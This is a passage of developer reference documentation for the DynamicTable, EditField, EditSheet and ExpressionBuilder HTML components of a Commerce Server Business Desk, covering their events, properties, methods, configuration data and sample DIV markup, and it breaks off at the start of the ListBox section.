The DynamicTable HTML Component (HTC) displays a table of data where each row represents a record and each column represents a particular field from the record. Above each column in the table is an EditField HTC that allows the corresponding field of the selected record to be edited. The column that is designated as the key is displayed as the first column. The remaining columns are displayed in the order that they are specified in the configuration data.

Unlike the ListEditor HTC, the DynamicTable HTC only allows the editing of data displayed in the columns of the table. Like the ListEditor HTC, the DynamicTable HTC returns its result as an XML list document.

Data is passed to the DynamicTable HTC in the form of XML data-islands. This includes the configuration data that provides, for example, the display names for data columns. It also includes the data itself, contained in a different XML data-island. Configuration data varies from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

Note

  • You can change the height of the DynamicTable HTC by changing a setting in the customizable style sheet file Bizdesk.css. Search for the style setting ".dtTableStyle DIV.dtContainer" and change the default HEIGHT setting of "70" to a value of your choice.

This section contains:

  • OverX Feature. Describes the OverX feature supported by the DynamicTable HTC.
  • Events. Describes the events supported by the DynamicTable HTC.
  • Properties. Describes the properties supported by the DynamicTable HTC.
  • Methods. Describes the methods supported by the DynamicTable HTC.
  • Container Attributes. Describes the attributes that the DynamicTable HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the DynamicTable HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the DynamicTable HTC is instantiated in script on an Active Server Pages (ASP) page.


OverX Feature

The OverX feature of the DynamicTable HTC is primarily intended for use in the Shipping Methods module in Commerce Server Business Desk. It is a very specialized feature with severe limitations that may not make it suitable for use in other pages.

The Shipping Methods module in Business Desk uses a special row in the shipping method data table to compute the shipping charges in cases where the key value is larger than the highest set value for all rows.

For example, a shipping method that sets the shipping rate by the subtotal of the order could have the following rates:

  • $.50 for subtotals from $0 to $5.00
  • $2.00 for subtotals from $5.00 to $20.00
  • $5.00 for subtotals from $20.00 to $50.00
  • $10.00 for subtotals over $50.00

The way that the over $50.00 rate is set is by using the OverX feature of the DynamicTable HTC. The "over $50.00" row subtotal value is represented in the underlying data by "-1".

The following limitations apply to this feature:

  • All fields in the OverX row are required for the DynamicTable HTC to be valid. This is because the shipping component of the Order Processing pipeline must have data in this row to function properly.
  • The OverX row will always display as the last row in the table.
  • To achieve the correct behavior with the OverX feature, the DynamicTable HTC must be set to sort by key. This is because the keys are assumed to be in ascending order, culminating in the OverX row that represents a value for all items with a key value greater than the highest key in the table.
  • When the OverX row is displayed in the control, the key field will display as "Over X", where X is the value of the last row above it in the table (or zero if there are no other rows).
  • When the XMLList object is returned from the DynamicTable HTC, the OverX row key will always contain "-1".
  • Because the OverX row is internally represented by a value of "–1", the key value for a DynamicTable HTC using the OverX feature must consist of numeric values of zero or greater. Key fields of type date, time, text, Boolean, or select are not supported when using this feature.
  • When the OverX feature is turned on, the OverX row will be added even if it is not represented in the original data passed to the control. This is because the OverX row is required.


Events

The DynamicTable HTC supports the following events:

  • OnChange
  • OnError
  • OnRequire
  • OnValid

OnChange

The OnChange event fires when the user clicks either the Done button or the Remove button.

The event object property window.event.XMLList is a standard XMLList object hierarchy, including the state attribute in the record elements. For more information, see XMLList and XMLRecord Properties.

The event object property window.event.XMLRecord is a standard XMLRecord object that contains a copy of the changed record. For more information, see XMLList and XMLRecord Properties.

When the OverX feature is used, the OverX record key will have the value '-1'. For more information about the OverX feature, see OverX Feature.

Return to top

OnError

The OnError event fires when the HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur if you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnRequire

The OnRequire event fires whenever the list changes from required to not required, or from not required to required.

The event object property window.event.required is set to True if the required attribute of the global element in the configuration data for the HTC is set to "Yes" and there are no rows in the table display. Otherwise it is set to False.

If the OverX feature is used, the table is required even if there are rows in the table as long as the OverX row is not completely filled in. For more information about the OverX feature, see OverX Feature.

Return to top

OnValid

The OnValid event fires whenever the user starts editing a row and again when editing is complete.

The event object property window.event.valid is set to False when the event is fired because a row is being edited. When editing is complete (when either the Cancel or Accept button is clicked), the value will be True.

This assures that the HTC cannot be saved when the user is in the middle of an edit.

Return to top


Properties

The DynamicTable HTC supports the following properties:

  • dirty
  • required
  • XMLList

dirty

The dirty property returns True if a row has been added, removed, or edited, and False otherwise.

This property is read-only.

Return to top

required

The required property returns True if the HTC is marked as required and currently has no rows in the table display, and False otherwise.

If using the OverX feature, the required property is False even when there are rows in the table display as long as the OverX row is not completely filled in. For more information about the OverX feature, see OverX Feature.

This property is read-only.

Return to top

XMLList

The XMLList property is a standard XMLList object hierarchy, containing the list currently in use by the HTC, and including the state attribute in the record elements. For more information, see XMLList and XMLRecord Properties.

This property is read-only.

Return to top


Methods

The DynamicTable HTC supports the following methods:

  • cleanup
  • field

cleanup

The cleanup method removes all records marked as deleted, as indicated by the state attribute, and clears the state attribute for all remaining records.

Example: elDynamicTable.cleanup

Return to top

field(sFieldId)

The field method retrieves a particular EditField HTC embedded within the DynamicTable HTC. The EditField HTC is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

The returned HTMLElement has an attached EditField HTC. If the parameter does not match any of the id attributes, NULL is returned.

The returned HTMLElement allows access to any of the properties or methods of the EditField HTC.

Example: set elEditField = elDynamicTable.field(sFieldId)

Return to top


Container Attributes

In order to pass data to the DynamicTable HTC, the following attributes must be set on the element that is using the DynamicTable behavior (note that this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the data to be displayed.
MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the DynamicTable HTC.


Configuration Data

The DynamicTable HTC requires that its configuration information be passed to it in the form of an XML data-island. This information consists primarily of details about each column to be displayed. For example, the type of the data in the column, the name to use in the column heading, and the element name used for the corresponding data in the DataXML data-island. In addition, there is some global configuration information, such as whether the New and Remove operations should be available.

For detailed information about the structure of this XML data-island, see DynamicTable Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a DynamicTable HTC within a DIV element. The Class attribute specifies that the DynamicTable HTC behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the DynamicTable HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and configuration data-islands, respectively, that are defined elsewhere within the document. The Language attribute specifies that the DynamicTable HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the DynamicTable HTC.

Finally, temporary text is provided to inform the user that the DynamicTable HTC is loading.

  <DIV Id='myDynamicTable'
       Class='DynamicTable'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       OnChange='ChangeHandler()'
       OnError='ErrorHandler()'
       OnRequire='RequireHandler()'
       OnValid='ValidHandler()'
  >Loading DynamicTable, please wait...</DIV>


EditField

The EditField HTML Component (HTC) provides a mechanism for editing simple data types. It provides validation of input according to supplied limits. EditField HTCs are used in a variety of circumstances: embedded within the DynamicTable, EditSheet, and ListEditor HTCs, or by themselves on a page. Validation of input is built into the control.

Data is passed to the EditField HTC in the form of XML data-islands. This includes the configuration data that provides, for example, minimum and maximum values for input validation. It also includes the data itself, contained in a different XML data-island. Configuration data varies slightly from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

This section contains:

  • Data Types. Describes the different data types, and thus different controls, supported by the EditField HTC.
  • Events. Describes the events supported by the EditField HTC.
  • Properties. Describes the properties supported by the EditField HTC.
  • Methods. Describes the methods supported by the EditField HTC.
  • Container Attributes. Describes the attributes that the EditField HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the EditField HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the EditField HTC is instantiated in script on an Active Server Pages (ASP) page.


Data Types

The EditField HTC presents a different user interface for editing data based on the specified type of the data. The basic type of the data is specified by the name of the element specifying the configuration information for that data. Some of the basic types also have subtypes.

The EditField HTC supports the following data/control types (and sub-types):

  • boolean
  • date
  • numeric (currency)
  • numeric (float)
  • numeric (integer)
  • select
  • text (long)
  • text (password)
  • text (short)
  • time

boolean

A box containing a check box on the left side, followed by a label indicating some condition that is True when the check box is checked and False when the check box is unchecked. Unlike the HTML check box control, which only returns a value when checked, this control always returns a 1 (one) when checked or a 0 (zero) when unchecked.

Return to top

date

A box containing a date in one of several pre-defined, configurable formats. It might also contain a prompt to enter a date. At the right end of the box is a drop-down arrow, which when pressed reveals a calendar control for picking a date. Minimum and maximum dates can be specified for use in validation checking.

Return to top

numeric (currency)

A box containing a currency value or a prompt to enter a currency value. Currency values can be input in one of several configurable formats, and illegal formats are either not accepted as input, or caught as errors. Minimum and maximum currency values can be specified for use in validation checking.

Return to top

numeric (float)

A box containing a decimal number or a prompt to enter a number. Decimal numbers can be input in one of several configurable formats, and illegal formats are either not accepted as input, or caught as errors. Minimum and maximum decimal numbers can be specified for use in validation checking.

Return to top

numeric (integer)

A box containing a whole number or a prompt to enter a number. Whole numbers can be input in one of several configurable formats, and illegal formats are either not accepted as input, or caught as errors. Minimum and maximum whole numbers can be specified for use in validation checking.

Return to top

select

A box allowing one of a number of distinct choices or containing a prompt to make a selection. At the right end of the box is a drop-down arrow, which when pressed reveals a drop-down list containing the available choices. Unlike the normal HTML select control, this control is not windowed and so can be drawn over using Dynamic Hypertext Markup Language (DHTML).

When the data does not specify an item in the list of choices, a prompt is displayed.

Return to top

text (long)

A four line, scrollable text box that allows carriage returns to be entered. A maximum length and a minimum length may be specified.

A character mask can be specified for use in validation checking to force valid input to conform to a particular format. If no character mask is provided, a default character mask is used.

The default regular expression representing long text does not allow entering '<', '>', and '&' characters:

^[^<>&]*$

Return to top

text (password)

A single line text box that does not allow carriage returns to be entered. Entered characters are displayed in the box as the asterisk ('*') so that the password remains hidden. A maximum length and a minimum length may be specified.

A character mask can be specified for use in validation checking to force valid input to conform to a particular format. If no character mask is provided, a default character mask is used.

The default regular expression representing password text does not allow entering '<', '>', and '&' characters:

^[^<>&]*$

Return to top

text (short)

A single line text box that does not allow carriage returns to be entered. A maximum length and a minimum length may be specified.

A character mask can be specified for use in validation checking to force valid input to conform to a particular format. If no character mask is provided, a default character mask is used.

The default regular expression representing short text does not allow entering '<', '>', and '&' characters:

^[^<>&]*$

Return to top

time

A box containing a time of day expressed in the 24-hour format HH:MM. It may also contain a prompt to enter a time. Minimum and maximum times can be specified for use in validation checking.

Return to top


Events

The EditField HTC supports the following events:

  • OnBeginChange
  • OnBrowse
  • OnChange
  • OnError
  • OnRequire
  • OnValid

OnBeginChange

The OnBeginChange event fires immediately whenever the value in the EditField HTC changes, such as with each change made using the keyboard. It does not wait for the EditField HTC to lose focus before firing. This event does not fire when the EditField HTC is disabled.

Return to top

OnBrowse

The OnBrowse event fires when the Browse button to the right of the input box is clicked. The Browse button will only be enabled and visible if browsing has been enabled by setting one of the two attributes onbrowse or browse.

The event object property window.event.value contains the current value of the EditField HTC.

Though any of the EditField types may be configured to have a Browse button and whatever custom browse functionality is appropriate, it is far more common to associate Browse buttons with some EditField types than with others. For example, a Boolean field is unlikely to need a Browse button.

Return to top

OnChange

The OnChange event fires whenever the EditField HTC loses focus and the value it contains has changed. This event does not fire when the EditField HTC is disabled.

Return to top

OnError

The OnError event fires when the EditField HTC encounters a developer error condition. In addition, if the m_bDebug variable in the EditField HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur if you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnRequire

The OnRequire event fires whenever the EditField HTC changes from required to not required, or from not required to required.

The event object property window.event.required is set to True if the EditField HTC is configured as required and is empty. Otherwise it is set to False. This event does not fire when the EditField HTC is hidden by setting the display style property to "none".

The Required property of a disabled EditField HTC is automatically set to True, even if it is empty.

EditField HTCs of type select and boolean do not fire the onRequire event and the required property is always False. The select type can be invalid (current value does not match any choices in the list of options) or valid.

Return to top

OnValid

The OnValid event fires whenever the EditField HTC changes from valid to not valid, or from not valid to valid.

The event object property window.event.valid is set to True if the value in the EditField HTC is valid. Otherwise it is set to False. This event does not fire when the EditField HTC is hidden by setting the display style property to "none".

EditField HTCs of type boolean do not fire the onValid event and the valid property is always True.

Return to top


Properties

The EditField HTC supports the following properties:

  • dirty
  • disabled
  • displayvalue
  • options
  • prompt
  • readonly
  • required
  • selected
  • valid
  • value

dirty

The dirty property tracks whether the value in the EditField HTC has changed. Legal values are True and False. A value of True indicates that the value of the EditField HTC has changed, and False indicates that the value of the EditField HTC has not changed.

This property is read-only.

Return to top

disabled

The disabled property tracks whether the EditField HTC has been disabled. Legal values are True and False. A value of True indicates that the EditField HTC has been disabled, and False indicates that the EditField HTC has not been disabled.

Disabled controls are dimmed, including both text entry and button portions of the control, if present, and input is not accepted.

This property is read/write.

Return to top

displayvalue

The displayvalue property, which should only be accessed when the type of the EditField HTC is select, contains the display name for the current value.

This property is read-only.

Return to top

options

The options property, which should only be accessed when the type of the EditField HTC is select, contains the collection of option elements (HTML Div elements) for use in iterative loops.

This property is read-only.

Return to top

prompt

The prompt property is used to set and retrieve the prompt that is displayed when the EditField HTC has no value.

Note that EditField HTCs of the select type will only display the prompt when the current value is not associated with any of the select options.

By default, the prompt property has a distinct default value for each of the EditField types. If no prompt is needed, set the prompt property to an empty string.

This property is read/write.

Return to top

readonly

The readonly property tracks whether the EditField HTC has been set to read-only. Legal values are True and False. A value of True indicates that the EditField HTC has been set to read-only, and False indicates that the EditField HTC has not been set to read-only.

The background color for read-only controls is gray, and the button portion of the control, if present, is removed.

This property is read/write.

Return to top

required

The required property tracks whether the EditField HTC requires user input. Requiring input is defined as being configured as required, but having no current value. Legal values are True and False. A value of True indicates that user input is required, and False indicates that user input is not required.

Required controls with an empty value have a yellow background color.

The OnRequire event fires whenever the value of this property changes. When the disabled property is set to True, the required property is automatically set to False and the onRequire event is fired.

The required property is always False for EditField HTCs of type select and boolean.

This property is read-only.

Return to top

selected

The selected property, which should only be accessed when the type of the EditField HTC is select, returns the option element (HTML Div element) currently selected in the list of options.

This property is read-only.

Return to top

valid

The valid property tracks whether the current value in the EditField is valid according to constraints imposed by the configuration information. Legal values are True and False. A value of True indicates that the current value is valid, and False indicates that the current value is not valid.

Controls with a value that is not valid have a yellow background color after the control loses focus.

The OnValid event fires whenever the value of this property changes.

The valid property is always True for EditField HTCs of type boolean.

This property is read-only.

Return to top

value

The value property contains the value currently in the EditField, if any.

The OnChange event fires whenever the value of this property changes and the EditField HTC loses focus.

This property is read/write.

Return to top


Methods

The EditField HTC supports the following methods:

  • addItem
  • focus
  • reload
  • removeItem
  • resetDefault

addItem(sValue, sDisplayValue)

The addItem method is used to add a new option to a select drop-down list. This method should not be called unless the control type is set to select.

The required parameter sValue specifies the underlying value for the new item. The required parameter sDisplayValue specifies the display value for the new item.

This method has no return value.

Return to top

focus

The focus method sets focus to the EditField HTC and selects the contents, assuming the control is not disabled. When the EditField is of the select type, the drop-down button gets the focus and the box contents are not selected.

Similar behavior occurs when an EditField HTC is configured with the browsereadonly attribute set to "Yes" — the Browse button is given the focus and the box contents are not selected.

This method does not take any parameters and does not return any value.

Return to top

reload(sDataID)

The reload method is used to reload a different set of enumerated values in a select drop-down list. This method should not be called unless the control type is set to select.

The parameter sDataID specifies a field in the data-island specified by the MetaXML container attribute from which the new set of enumerated values should be retrieved.

This method has no return value.

Return to top

removeItem(sValue)

The removeItem method is used to remove an option from a select drop-down list. This method should not be called unless the control type is set to select.

The required parameter sValue specifies the underlying value for the item to remove.

This method has no return value.

Return to top

resetDefault

The resetDefault method is used to reset the control value to the default.

This method has no return value.

Return to top


Container Attributes

In order to pass data to the EditField , the following attributes must be set on the element that is using the EditField behavior (this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the data to be displayed. The EditField HTC will always access and display the value of the field in the first record in the DataXML data-island.
MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the EditField HTC.
ID
The value of this attribute should be set to the value of the id attribute of one of the child elements of the fields element within the MetaXML data-island that corresponds to this instance of the EditField HTC.

The child element is from the set boolean, date, numeric, select, text, and time. It is the type of the element that establishes the type of the EditField HTC.

The value of the ID attribute will also be the same as the name of the element containing the corresponding data in the first record of the DataXML data-island.


Configuration Data

The EditField HTC requires that its configuration information be passed to it in the form of an XML data-island. This information consists primarily of details about each column to be displayed. For example, the type of the data in the column, minimum and maximum values for validation purposes, and the element name used for the corresponding data in the DataXML data-island.

The configuration XML data-island can contain configuration information for multiple EditFields, using the ID container attribute to identify which individual EditField configuration information should be used for each instance of an EditField HTC.

For detailed information about the structure of this XML data-island, see EditField Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of an EditField HTC within a DIV element. The Class attribute specifies that the EditField behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the EditField HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and configuration data data-islands, respectively, that are defined elsewhere within the document. The ID attribute specifies the same value as assigned to the id attribute of a particular child element of the fields element within the MetaXML data-island. This ID attribute is also the same string used for the name of the element containing the corresponding data value in the DataXML data-island. The Language attribute specifies that the EditField HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the EditField HTC. The OnBrowse event handler should only be defined if the EditField HTC is configured to include a Browse button.

Finally, temporary text is provided to inform the user that the EditField HTC is loading.

  <DIV Id='myEditField'
       Class='EditField'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       ID='FieldIdInMetaXML'
       OnBeginChange='BeginChangeHandler()'
       OnChange='ChangeHandler()'
       OnError='ErrorHandler()'
       OnRequire='RequireHandler()'
       OnBrowse='BrowseHandler()'
       OnValid='ValidHandler()'
  >Loading EditField, please wait...</DIV>


EditSheet

The EditSheet HTML component (HTC) provides the bulk of the functionality required on an edit page. It can display an editable form in a pre-formatted table, with fields displayed according to their order in the configuration data. The editable form can also be displayed according to a template of free-form Dynamic Hypertext Markup Language (DHTML). The EditSheet HTC also enables sophisticated control of each field.

Data is passed to the EditSheet HTC in the form of Extensible Markup Language (XML) data-islands. This includes the configuration data that provides, for example, the display names for data fields. It also includes the data itself, contained in a different XML data-island. Configuration data varies from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs, including the EditSheet HTC, accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

In the EditSheet HTC, a single record is manipulated, displayed as one field per row in a pre-formatted table, or freely formatted when using a template.

This section contains:

  • Events. Describes the events supported by the EditSheet HTC.
  • Properties. Describes the properties supported by the EditSheet HTC.
  • Methods. Describes the methods supported by the EditSheet HTC.
  • Container Attributes. Describes the attributes that the EditSheet HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the EditSheet HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the EditSheet HTC is instantiated in script on an Active Server Pages (ASP) page.


Events

The EditSheet HTC supports the following events:

  • OnChange
  • OnError
  • OnRequire
  • OnValid

OnChange

The OnChange event fires whenever the value in an embedded field changes.

Return to top

OnError

The OnError event fires when the EditSheet HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur if you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnRequire

The OnRequire event fires whenever an embedded field changes from required to not required, or from not required to required.

The event object property window.event.required is set to True if any embedded field is marked as required and has no value. Otherwise it is set to False.

Return to top

OnValid

The OnValid event fires whenever an embedded field changes from valid to not valid, or from not valid to valid.

The event object property window.event.valid is set to False if the value in any embedded EditField HTC is not valid. Otherwise it is set to True.

Return to top


Properties

The EditSheet HTC supports the following properties:

  • dirty
  • required
  • valid

dirty

The dirty property tracks whether the value in any embedded field has changed. Legal values are True and False. A value of True indicates that the value of some embedded field has changed, and False indicates that none of the values in the embedded fields have changed.

This property is read-only.

Return to top

required

The required property tracks whether any embedded field requires user input. Requiring input is defined as being configured as required, but having no current value. Legal values are True and False. A value of True indicates that user input is required, and False indicates that user input is not required.

The OnRequire event fires whenever the value of this property changes.

This property is read-only.

Return to top

valid

The valid property tracks whether the current values in all embedded fields are valid according to constraints imposed by the configuration information. Legal values are True and False. A value of False indicates that at least one current value is not valid, and True indicates that all current values are valid.

The OnValid event fires whenever the value of this property changes.

This property is read-only.

Return to top


Methods

The EditSheet HTC supports the following methods:

  • field
  • focus
  • hidden
  • hide
  • resetDefault
  • resetDirty
  • show

field(sFieldId)

The field method retrieves a particular field element embedded within the EditSheet HTC. The field element is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

The returned HTMLElement has an attached field element. If the parameter does not match any of the id attributes, NULL is returned.

The returned HTMLElement allows access to any of the properties or methods of the field element.

Example: set elEditField = elEditSheet.field(sFieldId)

Return to top

focus

The focus method sets focus to the EditSheet HTC, assuming it is not disabled.

This method does not have parameters or a return value.

Return to top

hidden(sFieldId)

The hidden method returns True if the specified field is hidden and False if not.

The field element is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

This method is only meant for use with the standard table layout; it cannot report whether or not a field within a template is hidden.

Return to top

hide(sFieldId)

The hide method hides the label and control for a field within the standard table layout.

The field element is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

This method is only meant for use with the standard table layout; it cannot hide a field within a template. Hidden fields will not fire onRequire or onValid events when their values are changed programmatically.

This method has no return value.

Return to top

resetDefault

The resetDefault method sets all fields in the EditSheet HTC back to their default values. This method also resets the dirty property to False.

This method does not have parameters or a return value.

Return to top

resetDirty

The resetDirty method resets the dirty property to False.

This method does not have parameters or a return value.

Return to top

show(sFieldId)

The show method shows the label and control for a hidden field within the standard table layout.

The field element is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

This method is only meant for use with the standard table layout; it cannot show a field within a template.

This method has no return value.

Return to top


Container Attributes

In order to pass data to the EditSheet HTC, the following attributes must be set on the element that is using the EditSheet behavior (this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the data to be displayed.
MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the EditSheet HTC.


Configuration Data

The EditSheet HTC requires that its configuration information be passed to it in the form of an Extensible Markup Language (XML) data-island. This information consists primarily of details about each editable field to be displayed. For example, the type of the data in the field, the name to use as the field label, and the element name used for the corresponding data in the DataXML data-island. In addition, there is some global configuration information, such as whether the EditSheet should be initially displayed as opened or closed.

The configuration XML data-island is also known as the MetaXML data-island.

For detailed information about the structure of this XML data-island, see EditSheet Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following code shows a typical instantiation of an EditSheet HTC within a DIV element. The Class attribute specifies that the EditSheet behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the EditSheet HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and metadata data-islands that are defined elsewhere within the document. The Language attribute specifies that the EditSheet HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the EditSheet HTC.

Finally, temporary text is provided to inform the user that the EditSheet HTC is loading.

  <DIV Id='myEditSheet'
       Class='EditSheet'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       OnChange='ChangeHandler()'
       OnError='ErrorHandler()'
       OnRequire='RequireHandler()'
       OnValid='ValidHandler()'
  >Loading EditSheet, please wait...</DIV>


ExpressionBuilder

The ExpressionBuilder HTML component (HTC) provides users with an easy and intuitive manner in which to build expressions used for targeting. These expressions are given names and are saved in an Extensible Markup Language (XML) representation in the Expression Store. The ExpressionBuilder HTC makes use of the QueryBuilder HTC for the manipulation of the expression bodies.

This section contains:

  • Events. Describes the events supported by the ExpressionBuilder HTC.
  • Properties. Describes the properties supported by the ExpressionBuilder HTC.
  • Methods. Describes the methods supported by the ExpressionBuilder HTC.
  • Container Attributes. Describes the attributes that the ExpressionBuilder HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the ExpressionBuilder HTC via the ID used as the value of the XMLCfgID container attribute.
  • Instantiation Example. Demonstrates how the ExpressionBuilder HTC is instantiated in script on an Active Server Pages (ASP) page.


Events

The ExpressionBuilder HTC supports the following events:

  • OnComplete
  • OnError
  • OnReady

OnComplete

The OnComplete event fires when the ExpressionBuilder HTC has successfully terminated. This can happen when the user presses the Save button or the Cancel button and the associated processing does not encounter any errors.

Return to top

OnError

The OnError event fires when activation of the ExpressionBuilder HTC fails. This event can occur after returning from a successful call to the Activate method. This indicates the occurrence of an unexpected error later in the activation process.

Return to top

OnReady

The OnReady event fires when the ExpressionBuilder HTC is fully loaded and initialized, indicating that its programmatic interface is ready to use. No methods or properties of the ExpressionBuilder HTC should be used before this event fires.

Return to top


Properties

The ExpressionBuilder HTC supports the following properties:

  • IsActive
  • IsReady

IsActive

The IsActive property indicates whether the ExpressionBuilder HTC is currently active. The value of this property is True when the ExpressionBuilder HTC is active. The ExpressionBuilder HTC is defined as 'active' when a user can interact with it. The value is False when the control is inactive.

This property is read-only.

Return to top

IsReady

The IsReady property indicates whether the ExpressionBuilder HTC is ready to use. The value of this property is False before the OnReady event fires, and True after that event fires. It allows polling to be used to determine whether the ExpressionBuilder HTC is ready to use.

This property is read-only.

Return to top


Methods

The ExpressionBuilder HTC supports the following methods:

  • Activate
  • Deactivate
  • GetResults
  • Save
  • Cancel

Activate(strMode, nExprID)

The Activate method activates the ExpressionBuilder HTC, indicating success with a return value of True, and failure with a return value of False.

The required strMode parameter indicates the mode in which the expression indicated by the required nExprID parameter, if any, is loaded. Legal values are 'create', 'createfrom', 'edit', and 'view'. If the value of strMode is 'create', the value of the nExprID parameter is ignored. Otherwise, the value of the nExprID parameter must be the ID of an expression in the expression store.

Example:

bResult = elExpBuilder.Activate("create", -1)

After calling the Activate method, you should wait for the IsReady event to fire or the IsReady property to become True. If the OnError event fires first, an asynchronous activation error has occurred.

Return to top

Deactivate

The Deactivate method deactivates the ExpressionBuilder HTC. It does not take any parameters, and the current expression information is not cleared.

Return to top

GetResults

The GetResults method returns the current ExpressionBuilder HTC status and results using a Scripting.Dictionary object. This Dictionary object contains the following entries:

  • The SavedExpr dictionary entry is set to True if the current expression has been successfully saved, and False otherwise. Expressions are saved as a result of successful create and save operations.
  • The ExprID dictionary entry contains the ID of the expression being manipulated. It is set to –1 (EXPR_INVALID) if the expression has not yet been saved.
  • The ExprName dictionary entry contains the current name of the expression, regardless of whether expression editing is complete.
  • The ExprBody dictionary entry contains the current XML representation of the expression, regardless of whether expression editing is complete.

The GetResults method does not take any parameters.

Example: oDictionary = elExpBuilder.GetResults()

Return to top

Save

Assuming that the activation mode is not 'view', the Save method saves the current expression. It returns True if the save operation is successful, and False otherwise.

Calling this method is equivalent to the user clicking the Save button. If successful, it fires the OnComplete event.

Return to top

Cancel

The Cancel method discards any unsaved editing of the current expression and disables the Expression Builder user interface. It does not return any value.

Calling this method is equivalent to the user clicking the Cancel button. If the user does not abort the cancellation, this method fires the OnComplete event.

Return to top


Container Attributes

In order to pass data to the ExpressionBuilder HTC, the following attribute must be set on the element that is using the ExpressionBuilder behavior (this element is typically a DIV):

XMLCfgID
The value of this attribute must be set to the ID of the Extensible Markup Language (XML) data-island containing the configuration data for the ExpressionBuilder HTC.


Configuration Data

The ExpressionBuilder HTC requires that its configuration information be passed to it in the form of an Extensible Markup Language (XML) data-island. This information consists partly of configuration information specific to the embedded QueryBuilder HTC, which is ignored by the ExpressionBuilder HTC, and partly of configuration information specific to the ExpressionBuilder HTC.

For detailed information about the structure of this XML data-island, see ExpressionBuilder Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a ExpressionBuilder HTC within a DIV element. The Style attribute specifies that the ExpressionBuilder HTC behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the ExpressionBuilder HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The XMLCfgID attribute specifies the configuration data-island that is defined elsewhere within the document. The Language attribute specifies that the ExpressionBuilder HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the ExpressionBuilder HTC.

Finally, temporary text is provided to inform the user that the ExpressionBuilder HTC is loading.

  <DIV Id='myExpressionBuilder'
       Class='clsExprBldr'
       Style='behavior:url(/widgets/exprbldrHTC/ExprBldr.htc); width:100%'
       Language='VBScript'
       XMLCfgID='DataIslandID'
       OnComplete='CompleteHandler()'
       OnError='ErrorHandler()'
       OnReady='ReadyHandler()'
  >Loading ExpressionBuilder, please wait...</DIV>


ListBox

The ListBox HTML component (HTC) allows easy list operations on a nested DIV element. A common use of the ListBox HTC occurs when a pair of them are used side by side, with the one on the left listing available choices and the one on the right listing those choices already made. Typically, several buttons are placed between the lists, providing the ability to move items from one list to the other.

